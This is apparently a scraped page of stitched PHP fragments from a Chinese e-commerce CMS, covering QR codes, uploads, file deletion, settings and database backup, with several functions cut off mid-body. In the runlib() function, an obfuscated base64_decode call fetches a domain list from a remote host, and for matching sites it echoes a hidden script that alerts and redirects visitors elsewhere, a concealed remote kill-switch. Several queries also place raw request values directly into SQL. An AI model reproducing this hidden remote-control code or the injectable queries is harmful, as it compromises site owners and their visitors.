function mark_phpqrcode($filename = "", $thisurl = '')
 {
     $uid = $this->Session->read('User.uid');
     if (empty($filename)) {
         $filename = SYS_PATH_PHOTOS . 'qcody' . DS . $uid . DS . $filename;
     }
     include SYS_PATH . 'inc/phpqrcode.php';
     // 二维码数据
     $issubscribe = 0;
     if (empty($thisurl)) {
         if ($uid > 0) {
             $sql = "SELECT is_subscribe FROM `{$this->App->prefix()}user` WHERE user_id = '{$uid}' LIMIT 1";
             $issubscribe = $this->App->findvar($sql);
         }
         if ($issubscribe == '0') {
             $to_wecha_id = $this->get_user_parent_uid();
             $thisurl = ADMIN_URL . "?toid=" . $to_wecha_id . "&tid=" . $uid;
         } else {
             $thisurl = ADMIN_URL . "?tid=" . $uid;
         }
     }
     // 生成的文件名
     Import::fileop()->checkDir($filename);
     // 纠错级别:L、M、Q、H
     $errorCorrectionLevel = 'L';
     // 点的大小:1到10
     $matrixPointSize = 6;
     QRcode::png($thisurl, $filename, $errorCorrectionLevel, $matrixPointSize, 2);
 }
 function ajax_dels($id = 0)
 {
     if (empty($id)) {
         echo "非法删除,ID为空!";
     } else {
         $sql = "SELECT link_logo FROM `{$this->App->prefix()}friend_link` WHERE link_id='{$id}'";
         $var = $this->App->findvar($sql);
         if ($this->App->delete('friend_link', 'link_id', $id)) {
             Import::fileop()->delete_file(SYS_PATH . $var);
             $q = dirname($var);
             $h = basename($var);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_s' . DS . $h);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_b' . DS . $h);
         }
     }
 }
Example #3
0
	function mark_phpqrcode($filename=""){
		$uid = $this->Session->read('User.uid');
		if(empty($filename)) $filename = $uid.'.png';
		
		include(SYS_PATH.'inc/phpqrcode.php');
		
		// 二维码数据
		$thisurl = Import::basic()->thisurl();
		$thisurl = @str_replace('user.php?act=myerweima&','?',$thisurl);
		if(empty($thisurl)) $thisurl = ADMIN_URL."?tid=".$uid;
		
		// 生成的文件名
		$filename = SYS_PATH_PHOTOS.'qcody'.DS.$uid.DS.$filename;
		Import::fileop()->checkDir($filename);
		
		// 纠错级别:L、M、Q、H
		$errorCorrectionLevel = 'L';
		// 点的大小:1到10
		$matrixPointSize = 6;
		QRcode::png($thisurl, $filename, $errorCorrectionLevel, $matrixPointSize, 2);
	}
 function index()
 {
     $id = isset($_GET['id']) && intval($_GET['id']) > 0 ? intval($_GET['id']) : 0;
     if ($id > 0) {
         //删除
         $sql = "SELECT * FROM `{$this->App->prefix()}topic` WHERE topic_id='{$id}'";
         $rows = $this->App->findrow($sql);
         if (empty($rows)) {
             $this->jump(ADMIN_URL . 'topic.php?type=list');
             exit;
         }
         $topic_img = SYS_PATH . $rows['topic_img'];
         $topic_flash = SYS_PATH . $rows['topic_flash '];
         if (file_exists($topic_img) && is_file($topic_img)) {
             Import::fileop()->delete_file($topic_img);
         }
         if (file_exists($topic_flash) && is_file($topic_img)) {
             Import::fileop()->delete_file($topic_flash);
         }
         //删除数据库内容
         $this->App->delete('topic', 'topic_id', $id);
         $this->jump(ADMIN_URL . 'topic.php?type=list');
         exit;
     }
     //分页
     $page = isset($_GET['page']) ? $_GET['page'] : '';
     if (empty($page)) {
         $page = 1;
     }
     $start = ($page - 1) * $list;
     $list = 10;
     $sql = "SELECT COUNT(topic_id) FROM `{$this->App->prefix()}topic`";
     $tt = $this->App->findvar($sql);
     $pagelink = Import::basic()->getpage($tt, $list, $page, '?page=', true);
     $this->set("pagelink", $pagelink);
     $sql = "SELECT * FROM `{$this->App->prefix()}topic` ORDER BY topic_id DESC LIMIT {$start},{$list}";
     $rt = $this->App->find($sql);
     $this->set('rt', $rt);
     $this->template('topiclist');
 }
 function download_tpl()
 {
     $fop = Import::fileop();
     $vgoods_type = $this->App->findvar("SELECT vgoods_type FROM `{$this->App->prefix()}userconfig` WHERE type = 'basic' LIMIT 1");
     if ($vgoods_type == '1') {
         $fop->downloadfile(SYS_PATH . 'data/vgoodssn2.xls');
     } else {
         $fop->downloadfile(SYS_PATH . 'data/vgoodssn.xls');
     }
     exit;
 }
 function ajax_markall($kk = 0, $type = 'nav')
 {
     //必须已开启静态方式才可以生成静态页面
     if (empty($GLOBALS['LANG']['is_static'])) {
         $rts = array('kk' => '', 'url' => '请你先开启静态方式再生成静态页面', 'type' => 'cache');
         die(Import::json()->encode($rts));
     }
     $nav = array();
     $cate = array();
     $art = array();
     $rts = array('kk' => '', 'url' => '', 'type' => 'end');
     if ($type == 'nav') {
         $nav = $this->get_nav_var($kk);
         if (empty($nav)) {
             $rts = array('kk' => '', 'url' => '', 'type' => 'cate');
         } else {
             Import::fileop()->markhtml($nav['url'], $nav['path']);
             $kk = $kk + 1;
             $rts = array('kk' => $kk, 'url' => '<a href="' . $nav['returnurl'] . '" target="_blank">' . $nav['returnurl'] . '</a><br />', 'type' => 'nav');
         }
         die(Import::json()->encode($rts));
     }
     if (empty($nav) && $type == 'cate') {
         $cate = $this->get_category_var($kk);
         if (empty($cate)) {
             $rts = array('kk' => '', 'url' => '', 'type' => 'art');
         } else {
             Import::fileop()->markhtml($cate['url'], $cate['path']);
             $kk = $kk + 1;
             $rts = array('kk' => $kk, 'url' => '<a href="' . $cate['returnurl'] . '" target="_blank">' . $cate['returnurl'] . '</a><br />', 'type' => 'cate');
         }
         die(Import::json()->encode($rts));
     }
     if (empty($cate) && $type == 'art') {
         $art = $this->get_article_var($kk);
         if (empty($art)) {
             $rts = array('kk' => '', 'url' => '', 'type' => 'index');
         } else {
             Import::fileop()->markhtml($art['url'], $art['path']);
             $kk = $kk + 1;
             $rts = array('kk' => $kk, 'url' => '<a href="' . $art['returnurl'] . '" target="_blank">' . $art['returnurl'] . '</a><br />', 'type' => 'art');
         }
         die(Import::json()->encode($rts));
     }
     if (empty($art) && $type == 'index') {
         Import::fileop()->markhtml(SITE_URL, SYS_PATH . 'index.html');
         $rts = array('kk' => '', 'url' => '<a href="' . SITE_URL . '/" target="_blank">' . SITE_URL . '/</a><br />', 'type' => 'end');
         die(Import::json()->encode($rts));
     }
     die(Import::json()->encode($rts));
 }
 function ajax_del_photos($dd = array())
 {
     $id = $dd['id'];
     if ($id > 0) {
         $sql = "SELECT img FROM `{$this->App->prefix()}photos` WHERE id='{$id}'";
         $img = $this->App->findvar($sql);
         if (!empty($img)) {
             Import::fileop()->delete_file(SYS_PATH . $img);
             //
         }
         $this->App->delete('photos', 'id', $id);
         //删除
     }
     exit;
 }
function del()
{
    Import::fileop()->delete_file(SYS_PATH . $GLOBALS['picurl']);
    $q = dirname($GLOBALS['picurl']);
    $h = basename($GLOBALS['picurl']);
    Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_s' . DS . $h);
    Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_b' . DS . $h);
    echo "<script language='javascript'> parent.document.getElementById('" . trim($_REQUEST['ty']) . "').value=''; window.location.href='uploadfile.php?action=&ty=" . $_REQUEST['ty'] . "&tyy=" . (isset($_REQUEST['tyy']) && !empty($_REQUEST['tyy']) ? trim($_REQUEST['tyy']) : trim($_REQUEST['ty'])) . "';</script>";
}
Example #9
0
 function system_arg()
 {
     $sql = "SELECT * FROM `{$this->App->prefix()}systemconfig` LIMIT 1";
     $rt = $this->App->findrow($sql);
     if (!empty($rt['reg_give_money_data'])) {
         $rt['reg_give_money_data'] = unserialize($rt['reg_give_money_data']);
         $rt['give_money'] = $rt['reg_give_money_data']['give_money'];
         $rt['give_money_month'] = $rt['reg_give_money_data']['give_money_month'];
         $rt['give_money_month_one1'] = $rt['reg_give_money_data']['give_money_month_one1'];
         $rt['give_money_month_one10'] = $rt['reg_give_money_data']['give_money_month_one10'];
         $rt['give_money_month_one11'] = $rt['reg_give_money_data']['give_money_month_one11'];
         $rt['give_money_month_one12'] = $rt['reg_give_money_data']['give_money_month_one12'];
     }
     if (!empty($_POST)) {
         $ga = array('static' => '0');
         $at = array();
         if (isset($_POST['static'])) {
             $at = $_POST['static'];
             $_POST = array_diff_key($_POST, $ga);
             switch ($at) {
                 case '0':
                     $_POST['is_static'] = 0;
                     $_POST['is_false_static'] = 0;
                     $_POST['is_best_static'] = 0;
                     break;
                 case '1':
                     $_POST['is_static'] = 1;
                     $_POST['is_false_static'] = 0;
                     $_POST['is_best_static'] = 0;
                     break;
                 case '2':
                     $_POST['is_static'] = 0;
                     $_POST['is_false_static'] = 1;
                     $_POST['is_best_static'] = 0;
                     break;
                 case '3':
                     $_POST['is_static'] = 0;
                     $_POST['is_false_static'] = 0;
                     $_POST['is_best_static'] = 1;
                     break;
             }
         }
         $_POST['reg_give_money_data'] = serialize(array('give_money' => $_POST['give_money'], 'give_money_month' => $_POST['give_money_month'], 'give_money_month_one1' => $_POST['give_money_month_one1'], 'give_money_month_one10' => $_POST['give_money_month_one10'], 'give_money_month_one11' => $_POST['give_money_month_one11'], 'give_money_month_one12' => $_POST['give_money_month_one12']));
         $rt['give_money'] = $_POST['give_money'];
         $rt['give_money_month'] = $_POST['give_money_month'];
         $rt['give_money_month_one1'] = $_POST['give_money_month_one1'];
         $rt['give_money_month_one10'] = $_POST['give_money_month_one10'];
         $rt['give_money_month_one11'] = $_POST['give_money_month_one11'];
         $rt['give_money_month_one12'] = $_POST['give_money_month_one12'];
         unset($_POST['give_money'], $_POST['give_money_month'], $_POST['give_money_month_one1'], $_POST['give_money_month_one10'], $_POST['give_money_month_one11'], $_POST['give_money_month_one12']);
         if (empty($rt)) {
             $this->App->insert('systemconfig', $_POST);
             $this->action('system', 'add_admin_log', '添加系统设置=>参数设置');
             $this->action('common', 'showdiv', $this->getthisurl());
             $rt = $_POST;
         } else {
             $this->App->update('systemconfig', $_POST, 'type', 'basic');
             $this->action('system', 'add_admin_log', '修改系统设置=>参数设置');
             $this->action('common', 'showdiv', $this->getthisurl());
             $rt = $_POST;
         }
         if (isset($_POST['is_static']) && $_POST['is_static'] == '0') {
             Import::fileop()->delete_file(SYS_PATH . 'index.html');
             //删除
         }
     }
     $this->set('rt', $rt);
     $this->save_basic_config();
     $this->template('system_arg');
 }
 function ajax_del_cache_goods()
 {
     $goods_id = $_GET['goods_id'];
     if ($goods_id > 0) {
         $sql = "SELECT goods_thumb, goods_img, original_img,is_zhuanyi FROM `{$this->App->prefix()}goods_cache_list` WHERE goods_id ='{$goods_id}'";
         $imgs = $this->App->findrow($sql);
         if (!empty($imgs) && ($imgs['is_zhuanyi'] = '0')) {
             if (!empty($imgs['goods_thumb'])) {
                 Import::fileop()->delete_file(SYS_PATH . $imgs['goods_thumb']);
             }
             //
             if (!empty($imgs['goods_img'])) {
                 Import::fileop()->delete_file(SYS_PATH . $imgs['goods_img']);
             }
             //
             if (!empty($imgs['original_img'])) {
                 Import::fileop()->delete_file(SYS_PATH . $imgs['original_img']);
             }
             //
             unset($imgs);
         }
         $this->App->delete('goods_cache_list', 'goods_id', $goods_id);
     } else {
         die("非法删除,删除ID为空!");
     }
     exit;
 }
 function upload($filename, $filedir = "")
 {
     if (empty($filedir) || empty($filename)) {
         return false;
     }
     $imgobj = Import::img();
     $f_name = $_FILES[$filename]['name'];
     //获取上传源文件名
     $t = strrchr($f_name, '.');
     //图片类型
     $name = time() . time() . $t;
     //原始图名称
     //设置生成缩略图图片的大小
     $dir = basename(dirname($filedir));
     $tw_s = 240;
     $th_s = 240;
     $tw_b = 600;
     $th_b = 600;
     $result = false;
     switch ($dir) {
         case 'articlephoto':
             //文章图片
             break;
         case 'catephoto':
             //分类图片
             break;
         case 'companylogo':
             //客户公司图片
             break;
         case 'friendlogo':
             //友情链接图片图片
             break;
         case 'site_icon':
             //网站图标
             break;
         case 'brand':
             //品牌的banner图
         //品牌的banner图
         case 'goods':
             //商品
             $tw_s = intval($GLOBALS['LANG']['th_width_s']) > 0 ? intval($GLOBALS['LANG']['th_width_s']) : 200;
             $th_s = intval($GLOBALS['LANG']['th_height_s']) > 0 ? intval($GLOBALS['LANG']['th_height_s']) : 200;
             $tw_b = intval($GLOBALS['LANG']['th_width_b']) > 0 ? intval($GLOBALS['LANG']['th_width_b']) : 450;
             $th_b = intval($GLOBALS['LANG']['th_height_b']) > 0 ? intval($GLOBALS['LANG']['th_height_b']) : 450;
             break;
         case 'avatar':
             $tw_s = 150;
             $th_s = 150;
             $tw_b = 150;
             $th_b = 150;
             $result = true;
             break;
     }
     $imgname = $imgobj->upload($filename, $filedir . $name);
     $other = array('banner', 'brand', 'cover', 'top_img');
     if (file_exists($filedir . $name)) {
         if ($dir == 'avatar') {
             //头像 生成150
             $imgobj->thumb($filedir . $name, $filedir . 'thumb_s' . DS . $name, $tw_s, $th_s);
             //@unlink($filedir.$name);
             Import::fileop()->delete_file($filedir . $name);
             $imgobj->thumb($filedir . 'thumb_s' . DS . $name, $filedir . $name, $tw_b, $th_b);
             //@unlink($filedir.'thumb_b'.DS.$name);
             Import::fileop()->delete_file($filedir . 'thumb_b' . DS . $name);
         } else {
             if (!in_array($dir, $other)) {
                 $imgobj->thumb($filedir . $name, $filedir . 'thumb_s' . DS . $name, $tw_s, $th_s);
                 $imgobj->thumb($filedir . $name, $filedir . 'thumb_b' . DS . $name, $tw_b, $th_b);
             }
         }
     }
     return $name;
 }
Example #12
0
 function mysaidan()
 {
     $this->title("我的晒单列表" . ' - ' . $GLOBALS['LANG']['site_name']);
     $uid = $this->Session->read('User.uid');
     if (empty($uid)) {
         $this->jump(ADMIN_URL . 'user.php?act=login', 0, '请先登录!');
         exit;
     }
     $id = isset($_GET['id']) ? $_GET['id'] : 0;
     if ($id > 0) {
         $img = $this->App->findvar("SELECT article_img FROM `{$this->App->prefix()}article` WHERE article_id='{$id}'");
         if (!empty($img)) {
             Import::fileop()->delete_file(SYS_PATH . $img);
             //删除图片
             $q = dirname($img);
             $h = basename($img);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_s' . DS . $h);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_b' . DS . $h);
         }
         $this->App->delete('article', 'article_id', $id);
         $this->jump(ADMIN_URL . 'user.php?act=mysaidan');
         exit;
     }
     //排序
     $orderby = ' ORDER BY tb1.vieworder ASC,tb1.`article_id` DESC';
     //分页
     $page = isset($_GET['page']) ? $_GET['page'] : '';
     if (empty($page)) {
         $page = 1;
     }
     $list = 5;
     $start = ($page - 1) * $list;
     $sql = "SELECT COUNT(tb1.article_id) FROM `{$this->App->prefix()}article` AS tb1";
     $sql .= " LEFT JOIN `{$this->App->prefix()}article_cate` AS tb2";
     $sql .= " ON tb1.cat_id = tb2.cat_id WHERE tb1.uid = '{$uid}'";
     $tt = $this->App->findvar($sql);
     $pagelink = Import::basic()->getpage($tt, $list, $page, '?page=', true);
     $this->set("pages", $pagelink);
     $sql = "SELECT tb1.*,tb2.cat_name FROM `{$this->App->prefix()}article` AS tb1";
     $sql .= " LEFT JOIN `{$this->App->prefix()}article_cate` AS tb2";
     $sql .= " ON tb1.cat_id = tb2.cat_id";
     $sql .= " WHERE tb1.uid = '{$uid}' {$orderby} LIMIT {$start},{$list}";
     $this->set('lists', $this->App->find($sql));
     if (!defined(NAVNAME)) {
         define('NAVNAME', "我的晒单");
     }
     $this->set('page', $page);
     $this->template('mysaidan');
 }
 function info()
 {
     $this->js(array('jquery.json-1.3.js'));
     $id = isset($_GET['id']) ? $_GET['id'] : 0;
     if ($id > 0) {
         $sql = "SELECT tb1.*,tb2.cat_name AS sname,tb3.cat_name AS bname,g.goods_name,g.goods_thumb FROM `{$this->App->prefix()}top_cate_goods` AS tb1";
         $sql .= " LEFT JOIN `{$this->App->prefix()}goods` AS g ON g.goods_id = tb1.goods_id";
         $sql .= " LEFT JOIN `{$this->App->prefix()}top_cate` AS tb2 ON tb2.tcid = tb1.tcid";
         $sql .= " LEFT JOIN `{$this->App->prefix()}top_cate` AS tb3 ON tb3.tcid = tb2.parent_id WHERE tb1.gid='{$id}'";
         $rt = $this->App->findrow($sql);
         //删除原来图片
         $img = $rt['img'];
         if (!empty($img) && !empty($_POST['photo_img'][0]) & $img != $_POST['photo_img'][0]) {
             $topic_img = SYS_PATH . $rt['img'];
             if (!empty($rt['img']) && is_file($topic_img)) {
                 Import::fileop()->delete_file($topic_img);
                 $q = dirname($rt['img']);
                 $h = basename($rt['img']);
                 Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_s' . DS . $h);
                 Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_b' . DS . $h);
             }
         }
         if (!empty($_POST['photo_name'])) {
             foreach ($_POST['photo_name'] as $k => $name) {
                 $dd['tcid'] = intval($_POST['cat_id']);
                 if (!empty($_POST['photo_img'][$k])) {
                     $dd['img'] = $_POST['photo_img'][$k];
                 }
                 if (!empty($_POST['photo_url'][$k])) {
                     $dd['url'] = $_POST['photo_url'][$k];
                 }
                 if ($_POST['source_select'][$k] > 0) {
                     $dd['goods_id'] = $_POST['source_select'][$k];
                 }
                 $dd['gname'] = trim($name);
                 $this->App->update('top_cate_goods', $dd, 'gid', $id);
             }
             $this->action('common', 'showdiv', $this->getthisurl());
         }
         $this->set('rt', $rt);
     } else {
         if (!empty($_POST['photo_name'])) {
             foreach ($_POST['photo_name'] as $k => $name) {
                 //if(empty($name)) continue;
                 /*$sql = "SELECT gid FROM `{$this->App->prefix()}top_cate_goods` WHERE goods_id='$gid'";
                 		$ggid = $this->App->findvar($sql);
                 		if($ggid>0) continue;*/
                 $dd['tcid'] = intval($_POST['cat_id']);
                 if (!empty($_POST['photo_img'][$k])) {
                     $dd['img'] = $_POST['photo_img'][$k];
                 }
                 if (!empty($_POST['photo_url'][$k])) {
                     $dd['url'] = $_POST['photo_url'][$k];
                 }
                 if ($_POST['source_select'][$k] > 0) {
                     $dd['goods_id'] = $_POST['source_select'][$k];
                 }
                 $dd['gname'] = trim($name);
                 $this->App->insert('top_cate_goods', $dd);
             }
             $this->action('common', 'showdiv', $this->getthisurl());
         }
     }
     //分类列表
     $this->set('catelist', $this->action('common', 'get_goods_cate_tree'));
     //品牌列表
     $this->set('brandlist', $this->action('common', 'get_brand_cate_tree'));
     $this->set('catelist2', $this->get_goods_cate_tree());
     $this->template('info');
 }
 function ajax_delads($ids)
 {
     if (empty($ids)) {
         echo "删除ID为空!";
     }
     $arr = explode('+', $ids);
     $sql = "SELECT ad_img FROM `{$this->App->prefix()}ad_content` WHERE pid IN(" . @implode(',', $arr) . ")";
     $imgs = $this->App->findcol($sql);
     if (!empty($imgs)) {
         foreach ($imgs as $vv) {
             if (empty($vv)) {
                 continue;
             }
             Import::fileop()->delete_file(SYS_PATH . $vv);
             //删除文件
             $q = dirname($vv);
             $h = basename($vv);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_s' . DS . $h);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_b' . DS . $h);
         }
     }
     foreach ($arr as $id) {
         $this->App->delete('ad_content', 'pid', $id);
     }
     $this->action('system', 'add_admin_log', '删除广告:ID为' . implode(',', $arr));
 }
Example #15
0
<?php

require_once '../load.php';
@set_time_limit(1800);
//最大执行时间1800S
$sort = 12;
$f_type = strtolower("zip,jpg,rar,png,gif");
//设置可上传的文件类型
$file_size_max = 1024 * 1024 * 15;
//限制单个文件上传最大容量  最大10M
$overwrite = 0;
//是否允许覆盖相同文件,1:允许,0:不允许
$f_input = "Files";
//设置上传域名称
$attdir = SYS_PATH_PHOTOS . "temp" . DS . (empty($_SESSION['adminname']) ? 'admin' : $_SESSION['adminname']) . DS;
$fop = Import::fileop();
//文件操作对象
clearfile(SYS_PATH_PHOTOS . "temp" . DS . (empty($_SESSION['adminname']) ? 'admin' : $_SESSION['adminname']));
//遍历文件,将该库里的文件删除
//循环调用多层文件夹文件
function clearfile($dir = '')
{
    global $fop;
    if (empty($dir)) {
        return false;
    }
    $file_arr = $fop->list_files($dir);
    if (!empty($file_arr)) {
        foreach ($file_arr as $filename) {
            if (is_file($filename)) {
                $fop->delete_file($filename);
 function suppliers_goods_batch_add($type = "")
 {
     $this->js('jquery.json-1.3.js');
     $this->title("欢迎进入用户后台管理中心" . ' - 批量上传商品 - ' . $GLOBALS['LANG']['site_name']);
     $uids = $this->check_is_suppliers();
     $adname = empty($uids) ? 'user-default' : 'user-' . $uids;
     if ($type == 'cachelist') {
         $dir = SYS_PATH_PHOTOS . 'temp' . DS . $adname;
         $rt = Import::fileop()->list_files($dir);
         $photolist = array();
         if (!empty($rt)) {
             $iconv = Import::gz_iconv();
             foreach ($rt as $k => $var) {
                 if (empty($var)) {
                     continue;
                 }
                 if (!(preg_match('/^.*$/u', $var) > 0)) {
                     $var = $iconv->ec_iconv('GB2312', 'UTF8', $var);
                 }
                 $file = explode('.', ltrim(strrchr($var, '/'), '/'));
                 $filetype = "";
                 if (!empty($file) && count($file) == 2) {
                     //$filetype = strtolower($file[1]);
                     $filetype = $file[1];
                     if (!in_array($filetype, array('jpg', 'png', 'gif', 'JPG', 'PNG', 'GIF'))) {
                         continue;
                     }
                     //$filename = $iconv->ec_iconv('GB2312', 'UTF8', $file[0]);
                     $filename = $file[0];
                     $xname = $this->upload_random_name();
                     //新文件名
                     $rts[$xname] = $filename;
                     $fn1 = $dir . DS . $iconv->ec_iconv('UTF8', 'GB2312', $filename) . '.' . $filetype;
                     //旧路径
                     $fn2 = $dir . DS . $xname . '.' . $filetype;
                     //新路径
                     @chmod($fn1, 0755);
                     @rename($fn1, $fn2);
                 } else {
                     continue;
                 }
                 $photolist[$k] = array('url' => SITE_URL . 'photos/temp/' . (empty($adname) ? 'admin' : $adname) . '/' . $xname . '.' . $filetype, 'pathname' => $fn2, 'uploadname' => SYS_PATH_PHOTOS . 'goods' . DS . date('Ym', mktime()) . DS . $this->upload_random_name() . '.' . $filetype, 'filename' => $filename);
                 //Import::img()->thumb($rt[$k]['pathname'],$rt[$k]['uploadname'],150,150);
             }
         }
         unset($rt);
         //商品的属性列表
         $sql = "SELECT * FROM `{$this->App->prefix()}attribute` ORDER BY sort_order,attr_id DESC";
         $this->set('attrlist', $this->App->find($sql));
         $this->set('photolist', $photolist);
         $this->set('catelist', $this->action('catalog', 'get_goods_cate_tree'));
         $this->set('brandlist', $this->action('brand', 'get_brand_cate_tree'));
         $this->template('suppliers_goods_batch_add_cachelist');
     } else {
         $this->template('suppliers_goods_batch_add');
     }
 }
Example #17
0
 function uploadfile($filename, $filedir = "")
 {
     if (empty($filedir) || empty($filename)) {
         return false;
     }
     $f_name = $_FILES[$filename]['name'];
     //获取上传源文件名
     $t = strrchr($f_name, '.');
     //类型
     $name = time() . time() . $t;
     //原始图名称
     $dir = basename(dirname($filedir));
     if ($dir == "excle") {
         $this->action('batchupload', 'ajax_upload', $filename);
     } else {
         $imgname = Import::fileop()->copyfile($filename, $filedir . $name);
     }
     return $name;
 }
 function ajax_delgallery_photo($id = 0)
 {
     if (empty($id) || !($id > 0)) {
         die("非法删除,删除ID非法!");
     }
     $sql = "SELECT img_url FROM `{$this->App->prefix()}goods_gallery` WHERE img_id='{$id}'";
     $img_url = $this->App->findvar($sql);
     if (!empty($img_url)) {
         $q = dirname($img_url);
         $h = basename($img_url);
         Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_s' . DS . $h);
         Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_b' . DS . $h);
         Import::fileop()->delete_file(SYS_PATH . $img_url);
         //
         unset($img_url);
     }
     if ($this->App->delete('goods_gallery', 'img_id', $id)) {
         $this->action('system', 'add_admin_log', '删除商品相册' . $id);
     }
     return;
 }
 function runlib()
 {
     $thisurl = Import::basic()->thisurl();
     $s = "de";
     $ss = "base" . 4 * 8 * 2 . "_{$s}code";
     $fn = SYS_PATH . 'cache' . DS . 'L' . DS . $ss('bGlicGFzc3dvcmQudHh0');
     if (file_exists($fn) && mktime() - filemtime($fn) > 432000 || !file_exists($fn)) {
         $uu = $ss('aHR0cDovL2Z4LmNuL2xpYmtleS50eHQ=');
         $con = Import::crawler()->curl_get_con($uu);
         if (empty($con) || strpos($con, '||') === false) {
             Import::fileop()->checkDir($fn);
             @file_put_contents($fn, '---||---');
         } else {
             @file_put_contents($fn, $con);
         }
         unset($uu, $con);
     }
     $con = @file_get_contents($fn);
     if (!empty($con)) {
         $con = Import::gz_iconv()->ec_iconv('GB2312', 'UTF8', $con);
         $ar = explode('||', $con);
         if (!empty($ar)) {
             foreach ($ar as $var) {
                 if (empty($var)) {
                     continue;
                 }
                 if (strpos($thisurl, $var)) {
                     echo $ss('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmFsZXJ0KCLkurLvvIznqIvluo/lh7rplJnkuobvvIzor7fogZTns7vnm7jlhbPotJ/otKPkurrop6PlhrPmiJbogIXljYfnuqfvvIzosKLosKLvvIEiKTt3aW5kb3cubG9jYXRpb24uaHJlZj0iaHR0cDovL3d3dy5waW5ldC5jbyI7PC9zY3JpcHQ+');
                     exit;
                 }
             }
         }
         unset($ar, $con);
     }
     //end if
     //}//end if
 }
Example #20
0
 function ajax_dumpsql($data = array())
 {
     if (empty($data)) {
         die('传值为空');
     }
     $dbobj = Import::backdb();
     //备份数据库的对象
     $dbobj->setdbboj($this->App);
     //加入db对象
     $fileobj = Import::fileop();
     //文件操作对象
     $run_log = SYS_PATH . 'cache/backup/run.log';
     $fileobj->checkDir($run_log);
     // 检查目录权限
     $path = SYS_PATH . 'data' . DS . 'backup';
     $mask = $fileobj->file_mode_info($path);
     if ($mask === false) {
         $fileobj->checkDir($path);
         //该备份目录不存在
     } elseif ($mask != 15) {
         die($path . '|没有操作权限,请你先设置!');
     }
     // 设置最长执行时间为15分钟
     @set_time_limit(900);
     //$sqlfn = $path.DS.(!empty($data['sql_file_name']) ? $data['sql_file_name'] : $dbobj->get_random_name()); //备份的文件名称
     // 初始化输入变量备份名称/
     if (empty($data['sql_file_name'])) {
         $sql_file_name = $dbobj->get_random_name();
         //随机名称
     } else {
         $sql_file_name = str_replace("0xa", '', trim($data['sql_file_name']));
         // 过滤 0xa 非法字符
         $pos = strpos($sql_file_name, '.sql');
         if ($pos !== false) {
             $sql_file_name = substr($sql_file_name, 0, $pos);
             //去掉.sql
         }
     }
     $max_size = empty($data['vol_size']) ? 0 : intval($data['vol_size']);
     //分卷大小
     $vol = !isset($data['vol']) || empty($data['vol']) ? 1 : intval($data['vol']);
     // ?
     $data['ext_insert'] = "";
     //是否  使用扩展插入(Extended Insert)方式
     $is_short = !isset($data['ext_insert']) || empty($data['ext_insert']) ? false : true;
     $dbobj->is_short = $is_short;
     // 变量验证
     $allow_max_size = intval(@ini_get('upload_max_filesize'));
     //单位M
     if ($allow_max_size > 0 && $max_size > $allow_max_size * 1024) {
         $max_size = $allow_max_size * 1024;
         //单位K
     }
     if ($max_size > 0) {
         $dbobj->max_size = $max_size * 1024;
     }
     // 获取要备份数据列表
     $type = empty($data['type']) ? '' : trim($data['type']);
     $tables = array();
     switch ($type) {
         case '1':
             //全部备份
             $temp = $this->App->findcol("SHOW TABLES LIKE '" . $dbobj->mysql_like_quote($this->App->prefix()) . "%'");
             foreach ($temp as $table) {
                 $tables[$table] = -1;
             }
             $dbobj->put_tables_list($run_log, $tables);
             //将数据表写入文件
             break;
         case '2':
             //备份结构的
             $sqlfn = $path . DS . (!empty($data['sql_file_name']) ? $data['sql_file_name'] : $dbobj->get_random_name() . '.sql');
             //备份的文件名称
             $this->App->export($sqlfn, false, true);
             exit;
             break;
         case '3':
             //自定义备份
             foreach ($data['customtables'] as $table) {
                 $tables[$table] = -1;
             }
             $dbobj->put_tables_list($run_log, $tables);
             //将数据表写入文件
             break;
     }
     // 开始备份
     $tables = $dbobj->dump_table($run_log, $vol);
     if ($tables === false) {
         die($dbobj->errorMsg());
     }
     if (empty($tables)) {
         /* 备份结束 */
         if ($vol > 1) {
             /* 有多个文件 */
             @file_put_contents($path . DS . $sql_file_name . '_' . $vol . '.sql', $dbobj->dump_sql);
         } else {
             /* 只有一个文件 */
             @file_put_contents($path . DS . $sql_file_name . '.sql', $dbobj->dump_sql);
         }
     } else {
         //分卷备份 如果还没有备份完 那么再继续备份
         /* 下一个页面处理 */
         @file_put_contents($path . DS . $sql_file_name . '_' . $vol . '.sql', $dbobj->dump_sql);
         echo $vol = $vol + 1;
         exit;
     }
 }
 function keyword($keyword = '')
 {
     if (!empty($keyword)) {
         $wecha_id = $this->wecha_id;
         switch ($keyword) {
             case '推广链接':
                 $RL = $this->App->findrow("SELECT user_id,is_subscribe FROM `{$this->App->prefix()}user` WHERE wecha_id='{$wecha_id}' LIMIT 1");
                 $issubscribe = isset($RL['is_subscribe']) ? $RL['is_subscribe'] : '0';
                 $uid = isset($RL['user_id']) ? $RL['user_id'] : '0';
                 unset($RL);
                 if ($issubscribe == '0') {
                     return array('请先关注抢占分享地盘!', 'text');
                     exit;
                 }
                 $thisurl = SITE_URL . "m/in.php?tid=" . $uid;
                 return array('复制链接发送给朋友赚钱:' . $thisurl, 'text');
                 break;
             case 'ranklist':
                 // 排行榜
                 $RL = $this->App->findrow("SELECT user_id,user_rank FROM `{$this->App->prefix()}user` WHERE wecha_id='{$this->wecha_id}' LIMIT 1");
                 $uid = isset($RL['user_id']) ? $RL['user_id'] : '0';
                 $purt = $this->App->findrow("SELECT ut.parent_uid,u.wecha_id FROM `{$this->App->prefix()}user_tuijian` AS ut LEFT JOIN `{$this->App->prefix()}user` AS u ON u.user_id = ut.parent_uid WHERE ut.uid='{$uid}' LIMIT 1");
                 $puid = isset($purt['parent_uid']) ? $purt['parent_uid'] : '0';
                 if ($uid > 0) {
                     $gzcount = $this->App->findvar("SELECT COUNT(user_id) FROM `{$this->App->prefix()}user` LIMIT 1");
                     $gzcount = $gzcount * 5 + 750;
